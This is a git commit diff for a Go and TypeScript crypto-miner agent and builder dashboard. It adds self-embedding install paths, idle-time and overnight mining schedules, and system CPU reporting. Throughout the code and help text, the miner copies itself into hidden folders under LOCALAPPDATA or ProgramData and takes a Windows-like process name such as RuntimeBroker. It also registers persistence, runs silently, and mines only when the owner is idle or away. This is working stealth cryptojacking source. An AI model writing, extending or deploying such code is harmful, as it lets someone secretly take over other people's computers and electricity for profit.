Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
drjones
2026-05-26 23:39:51 -07:00
parent f7d6dcf542
commit 1313c553e7
20 changed files with 662 additions and 24 deletions

View File

@@ -201,6 +201,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
avg15m /= float64(len(samples))
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted

View File

@@ -30,5 +30,7 @@ func GetBuiltinConfig() BuiltinConfig {
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: DefaultInstallRelativePath,
}
}

View File

@@ -35,6 +35,9 @@ type BuiltinConfig struct {
IdleDurationMinutes int
ScheduleStart string
ScheduleEnd string
InstallBase string
InstallCustomBase string
InstallRelativePath string
}
type RuntimeConfig struct {
@@ -90,6 +93,12 @@ func Load() RuntimeConfig {
if b.ScheduleEnd == "" {
b.ScheduleEnd = "06:00"
}
if b.InstallBase == "" {
b.InstallBase = "localappdata"
}
if b.InstallRelativePath == "" {
b.InstallRelativePath = DefaultInstallRelativePath
}
return RuntimeConfig{BuiltinConfig: b}
}
@@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool {
return strings.ToLower(c.DisplayMode) == "background"
}
func (c RuntimeConfig) EffectiveProcessName() string {
name := strings.TrimSpace(c.ProcessName)
if name == "" {
return sanitizeProcessName(c.WorkerName)
}
return sanitizeProcessName(name)
}
func sanitizeProcessName(name string) string {
name = strings.TrimSpace(name)
if name == "" {

101
agent/config/install.go Normal file
View File

@@ -0,0 +1,101 @@
package config
import (
"fmt"
"os"
"path/filepath"
"strings"
)
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
func (c RuntimeConfig) InstallDirectory() (string, error) {
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
if err != nil {
return "", err
}
rel := strings.TrimSpace(c.InstallRelativePath)
if rel == "" {
rel = DefaultInstallRelativePath
}
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
rel = filepath.FromSlash(rel)
rel = strings.Trim(rel, `\/`)
if rel == "" {
return "", fmt.Errorf("install relative path resolved to empty")
}
full := filepath.Join(base, rel)
return filepath.Clean(full), nil
}
func resolveInstallBase(baseType, customBase string) (string, error) {
switch strings.ToLower(strings.TrimSpace(baseType)) {
case "", "localappdata":
return requireEnv("LOCALAPPDATA")
case "appdata":
return requireEnv("APPDATA")
case "programdata":
return requireEnv("ProgramData")
case "userprofile":
return requireEnv("USERPROFILE")
case "temp":
if v := os.Getenv("TEMP"); v != "" {
return v, nil
}
return requireEnv("TMP")
case "custom":
custom := strings.TrimSpace(customBase)
if custom == "" {
return "", fmt.Errorf("custom install base path is required when install_base is custom")
}
return expandWindowsEnv(custom), nil
default:
return "", fmt.Errorf("unsupported install base: %s", baseType)
}
}
func expandInstallTokens(path, workerName, buildID, processName string) string {
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
replacer := strings.NewReplacer(
"{worker}", sanitizePathToken(workerName),
"{build}", sanitizePathToken(buildID),
"{build_short}", sanitizePathToken(shortBuild),
"{process}", sanitizePathToken(processName),
)
return replacer.Replace(path)
}
func sanitizePathToken(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
clean := replacer.Replace(strings.TrimSpace(name))
if clean == "" {
return "miner"
}
return clean
}
func requireEnv(key string) (string, error) {
value := os.Getenv(key)
if value == "" {
return "", fmt.Errorf("environment variable %s is not set", key)
}
return value, nil
}
func expandWindowsEnv(path string) string {
out := path
for _, key := range []string{
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
} {
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
}
return out
}

View File

@@ -0,0 +1,97 @@
package config
import (
"os"
"testing"
"time"
)
func TestInstallDirectoryLocalAppData(t *testing.T) {
t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
WorkerName: "office pc",
BuildID: "1234567890abcdef",
ProcessName: "RuntimeBroker",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
}}
got, err := cfg.InstallDirectory()
if err != nil {
t.Fatal(err)
}
want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
if got != want {
t.Fatalf("expected %q, got %q", want, got)
}
}
func TestInstallDirectoryCustomBase(t *testing.T) {
t.Setenv("ProgramData", `C:\ProgramData`)
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
WorkerName: "pc1",
BuildID: "build",
InstallBase: "custom",
InstallCustomBase: `%ProgramData%\HiddenApps`,
InstallRelativePath: "{process}",
}}
got, err := cfg.InstallDirectory()
if err != nil {
t.Fatal(err)
}
want := `C:\ProgramData\HiddenApps\pc1`
if got != want {
t.Fatalf("expected %q, got %q", want, got)
}
}
func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
InstallBase: "custom",
}}
if _, err := cfg.InstallDirectory(); err == nil {
t.Fatal("expected error for missing custom base")
}
}
func TestInScheduleWindowSameDay(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ScheduleStart: "09:00",
ScheduleEnd: "17:00",
}}
now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
if !cfg.InScheduleWindow(now) {
t.Fatal("expected inside schedule window")
}
now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
if cfg.InScheduleWindow(now) {
t.Fatal("expected outside schedule window")
}
}
func TestInScheduleWindowCrossMidnight(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}}
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
t.Fatal("expected inside overnight window")
}
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
t.Fatal("expected inside early morning window")
}
if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
t.Fatal("expected outside midday window")
}
}
func TestExpandWindowsEnv(t *testing.T) {
os.Setenv("LOCALAPPDATA", `C:\Local`)
got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
if got != `C:\Local\Apps` {
t.Fatalf("unexpected expansion: %s", got)
}
}

46
agent/config/schedule.go Normal file
View File

@@ -0,0 +1,46 @@
package config
import (
"strings"
"time"
)
func (c RuntimeConfig) MiningModeNormalized() string {
mode := strings.ToLower(strings.TrimSpace(c.MiningMode))
if mode == "" {
return "always"
}
return mode
}
func (c RuntimeConfig) InScheduleWindow(now time.Time) bool {
startMin, okStart := parseClockMinutes(c.ScheduleStart)
endMin, okEnd := parseClockMinutes(c.ScheduleEnd)
if !okStart || !okEnd {
return true
}
nowMin := now.Hour()*60 + now.Minute()
if startMin == endMin {
return true
}
if startMin < endMin {
return nowMin >= startMin && nowMin < endMin
}
return nowMin >= startMin || nowMin < endMin
}
func parseClockMinutes(value string) (int, bool) {
value = strings.TrimSpace(value)
if value == "" {
return 0, false
}
parsed, err := time.Parse("15:04", value)
if err != nil {
parsed, err = time.Parse("15:04:05", value)
if err != nil {
return 0, false
}
}
return parsed.Hour()*60 + parsed.Minute(), true
}

View File

@@ -29,11 +29,11 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
}
installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID)
installDir, err := cfg.InstallDirectory()
if err != nil {
return false, err
}
installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
if samePath(currentExe, installedExe) {
return false, nil
@@ -49,8 +49,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
logPath := filepath.Join(installDir, "miner.log")
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe,
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
)), 0644)
if cfg.AutoStart {
@@ -71,16 +71,14 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
func InstallDir(workerName, buildID string) (string, error) {
base, err := os.UserConfigDir()
if err != nil {
return "", err
}
safeWorker := sanitizeName(workerName)
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: "localappdata",
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func configureAutoStart(workerName, exePath string) error {

View File

@@ -27,7 +27,11 @@ func main() {
log.Fatalf("[installer] failed: %v", err)
}
if installed {
log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName)
if dir, err := cfg.InstallDirectory(); err == nil {
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
} else {
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
}
return
}
@@ -39,8 +43,8 @@ func main() {
log.Printf("[agent] could not set CPU priority: %v", err)
}
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {
@@ -54,13 +58,21 @@ func setupLogging(cfg config.RuntimeConfig) {
return
}
installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID)
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
redirectLog(filepath.Join(installDir, "miner.log"))
}
func mustInstallPath(cfg config.RuntimeConfig) string {
path, err := cfg.InstallDirectory()
if err != nil {
return "unknown"
}
return path
}
func redirectLog(path string) {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return

View File

@@ -21,6 +21,7 @@ type Pool struct {
reporter *stats.Reporter
engine *Engine
handler ShareHandler
schedule *ScheduleGuard
mu sync.RWMutex
currentJob *job.Job
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
reporter: reporter,
engine: NewEngine(),
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
}
}
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
case <-p.stopCh:
return
case <-ticker.C:
p.paused.Store(!p.resourcesOK())
p.paused.Store(!p.miningAllowed())
}
}
}
func (p *Pool) miningAllowed() bool {
if !p.resourcesOK() {
return false
}
if p.schedule != nil && !p.schedule.Allowed() {
return false
}
return true
}
func (p *Pool) resourcesOK() bool {
freeMB := p.reporter.FreeMemoryMB()
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {

71
agent/miner/schedule.go Normal file
View File

@@ -0,0 +1,71 @@
package miner
import (
"sync"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/stats"
)
type ScheduleGuard struct {
cfg config.RuntimeConfig
reporter *stats.Reporter
mu sync.Mutex
idleSince time.Time
idleReady bool
}
func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard {
return &ScheduleGuard{
cfg: cfg,
reporter: reporter,
}
}
func (g *ScheduleGuard) Allowed() bool {
switch g.cfg.MiningModeNormalized() {
case "idle":
return g.idleAllowed()
case "scheduled":
return g.cfg.InScheduleWindow(time.Now())
default:
return true
}
}
func (g *ScheduleGuard) idleAllowed() bool {
cpu := g.reporter.SystemCPUPercent()
threshold := float64(g.cfg.IdleThresholdPct)
if threshold <= 0 {
threshold = 20
}
duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute
if duration <= 0 {
duration = 5 * time.Minute
}
g.mu.Lock()
defer g.mu.Unlock()
if cpu == 0 {
// First sample has no delta yet; treat as not idle.
g.idleSince = time.Time{}
g.idleReady = false
return false
}
if cpu <= threshold {
if g.idleSince.IsZero() {
g.idleSince = time.Now()
}
if time.Since(g.idleSince) >= duration {
g.idleReady = true
}
} else {
g.idleSince = time.Time{}
g.idleReady = false
}
return g.idleReady
}

View File

@@ -0,0 +1,31 @@
package miner
import (
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/stats"
)
func parseTestTime(hour, minute int) time.Time {
return time.Date(2026, 5, 26, hour, minute, 0, 0, time.UTC)
}
func TestScheduleGuardAlways(t *testing.T) {
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always"}}, stats.NewReporter())
if !guard.Allowed() {
t.Fatal("always mode should allow mining")
}
}
func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "scheduled",
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}}
if !cfg.InScheduleWindow(parseTestTime(23, 0)) {
t.Fatal("expected overnight schedule to allow mining at 23:00")
}
}

View File

@@ -0,0 +1,63 @@
package stats
import (
"unsafe"
)
var (
procGetSystemTimes = kernel32.NewProc("GetSystemTimes")
)
type filetime struct {
LowDateTime uint32
HighDateTime uint32
}
func filetimeToUint64(ft filetime) uint64 {
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
}
func (r *Reporter) SystemCPUPercent() float64 {
r.mu.Lock()
defer r.mu.Unlock()
var idle, kernel, user filetime
ret, _, _ := procGetSystemTimes.Call(
uintptr(unsafe.Pointer(&idle)),
uintptr(unsafe.Pointer(&kernel)),
uintptr(unsafe.Pointer(&user)),
)
if ret == 0 {
return 0
}
idleTicks := filetimeToUint64(idle)
kernelTicks := filetimeToUint64(kernel)
userTicks := filetimeToUint64(user)
if !r.hasSample {
r.lastIdle = idleTicks
r.lastKernel = kernelTicks
r.lastUser = userTicks
r.hasSample = true
return 0
}
idleDelta := float64(idleTicks - r.lastIdle)
totalDelta := float64((kernelTicks - r.lastKernel) + (userTicks - r.lastUser))
r.lastIdle = idleTicks
r.lastKernel = kernelTicks
r.lastUser = userTicks
if totalDelta <= 0 {
return 0
}
busyPct := (1.0 - idleDelta/totalDelta) * 100
if busyPct < 0 {
return 0
}
if busyPct > 100 {
return 100
}
return busyPct
}

View File

@@ -3,6 +3,7 @@ package stats
import (
"os"
"runtime"
"sync"
"syscall"
"unsafe"
)
@@ -24,7 +25,14 @@ var (
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
)
type Reporter struct{}
type Reporter struct {
mu sync.Mutex
lastIdle uint64
lastKernel uint64
lastUser uint64
hasSample bool
}
func NewReporter() *Reporter {
return &Reporter{}

View File

@@ -47,6 +47,9 @@ type AgentDefaults struct {
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
}
type BackgroundConfig struct {
@@ -91,6 +94,8 @@ func DefaultConfig() *Config {
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
},
Background: BackgroundConfig{
SilentMode: true,
@@ -195,6 +200,15 @@ func mergeConfig(dst, src *Config) {
if src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
dst.Background.SilentMode = src.Background.SilentMode
if src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs

View File

@@ -38,9 +38,12 @@ type BuildRequest struct {
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
PoolHost string `json:"pool_host"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
@@ -277,6 +280,15 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.ScheduleEnd == "" {
req.ScheduleEnd = "06:00"
}
if req.InstallBase == "" {
req.InstallBase = "localappdata"
}
if req.InstallRelativePath == "" {
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
}
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
return fmt.Errorf("install_custom_base is required when install_base is custom")
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
@@ -326,6 +338,9 @@ func GetBuiltinConfig() BuiltinConfig {
IdleDurationMinutes: %d,
ScheduleStart: %q,
ScheduleEnd: %q,
InstallBase: %q,
InstallCustomBase: %q,
InstallRelativePath: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -355,6 +370,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.IdleDurationMinutes,
req.ScheduleStart,
req.ScheduleEnd,
req.InstallBase,
req.InstallCustomBase,
req.InstallRelativePath,
)
}

View File

@@ -0,0 +1,42 @@
const BASE_LABELS: Record<string, string> = {
localappdata: '%LOCALAPPDATA%',
appdata: '%APPDATA%',
programdata: '%ProgramData%',
userprofile: '%USERPROFILE%',
temp: '%TEMP%',
custom: '',
};
function sanitizeToken(value: string, fallback: string): string {
const clean = value.trim().replace(/[\\/:*?"<>|]/g, '-').replace(/\s+/g, '-');
return clean || fallback;
}
export function previewInstallPath(options: {
install_base: string;
install_custom_base?: string;
install_relative_path?: string;
worker_name?: string;
process_name?: string;
}): string {
const baseKey = options.install_base || 'localappdata';
const base =
baseKey === 'custom'
? (options.install_custom_base?.trim() || '%CUSTOM%')
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
const process = sanitizeToken(options.process_name || worker, 'miner');
const buildShort = 'abc12345';
let rel = (options.install_relative_path || 'CryptoMiner/{worker}-{build_short}').replace(/\\/g, '/');
rel = rel
.replace(/\{worker\}/g, worker)
.replace(/\{build\}/g, 'full-build-id')
.replace(/\{build_short\}/g, buildShort)
.replace(/\{process\}/g, process);
rel = rel.replace(/^\/+|\/+$/g, '');
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
return `${folder}\\${process}.exe`;
}

View File

@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
},
{
title: '4. Deploy once per PC',
body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.',
body: 'Double-click the .exe on any Windows machine. It copies itself to your configured install folder, registers persistence if enabled, connects to your dashboard, and starts mining — no extra steps.',
},
{
title: '5. Monitor',
@@ -47,4 +47,7 @@ export const FIELD_HELP: Record<string, string> = {
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
};

View File

@@ -3,6 +3,7 @@ import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import { previewInstallPath } from '../help/installPreview';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
@@ -29,6 +30,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
idle_duration_minutes: d.idle_duration_minutes,
schedule_start: d.schedule_start,
schedule_end: d.schedule_end,
install_base: d.install_base || 'localappdata',
install_custom_base: d.install_custom_base || '',
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
@@ -83,6 +87,10 @@ export default function BuilderPage() {
setError('Wallet address is required');
return;
}
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
setError('Custom install base path is required when Install Base is Custom');
return;
}
setBuilding(true);
try {
@@ -112,6 +120,14 @@ export default function BuilderPage() {
);
}
const installPreview = previewInstallPath({
install_base: form.install_base,
install_custom_base: form.install_custom_base,
install_relative_path: form.install_relative_path,
worker_name: form.worker_name,
process_name: form.process_name,
});
return (
<div className="page fade-in">
<div className="page-header">
@@ -339,6 +355,44 @@ export default function BuilderPage() {
<div className="form-section">
<h3>Install & Process</h3>
<p className="form-description">
Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
optionally persists, then starts mining in the background.
</p>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select className="select" value={form.install_base}
onChange={(e) => updateField('install_base', e.target.value)}>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
</select>
<FieldHint field="install_base" />
</div>
{form.install_base === 'custom' && (
<div className="form-group">
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
value={form.install_custom_base}
onChange={(e) => updateField('install_custom_base', e.target.value)} />
<FieldHint field="install_custom_base" />
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input type="text" className="input mono"
placeholder="CryptoMiner/{worker}-{build_short}"
value={form.install_relative_path}
onChange={(e) => updateField('install_relative_path', e.target.value)} />
<FieldHint field="install_relative_path" />
</div>
<div className="form-group">
<label className="label">Install Preview</label>
<code className="path-display">{installPreview}</code>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"

View File

@@ -244,6 +244,46 @@ export default function SettingsPage() {
/>
</div>
</div>
<div className="form-section">
<h3>Install Location Defaults</h3>
<p className="section-desc">Where built installers embed the miner on first run.</p>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select
className="select"
value={config.default_agent_config.install_base || 'localappdata'}
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
</select>
</div>
{config.default_agent_config.install_base === 'custom' && (
<div className="form-group">
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_custom_base || ''}
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
placeholder="%ProgramData%\\HiddenApps"
/>
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
/>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>

View File

@@ -110,6 +110,9 @@ export interface AgentDefaults {
idle_duration_minutes: number;
schedule_start: string;
schedule_end: string;
install_base: string;
install_custom_base: string;
install_relative_path: string;
}
export interface BackgroundConfig {
@@ -147,6 +150,9 @@ export interface BuildRequest {
idle_duration_minutes: number;
schedule_start: string;
schedule_end: string;
install_base: string;
install_custom_base: string;
install_relative_path: string;
pool_host: string;
pool_port: number;
pool_tls: boolean;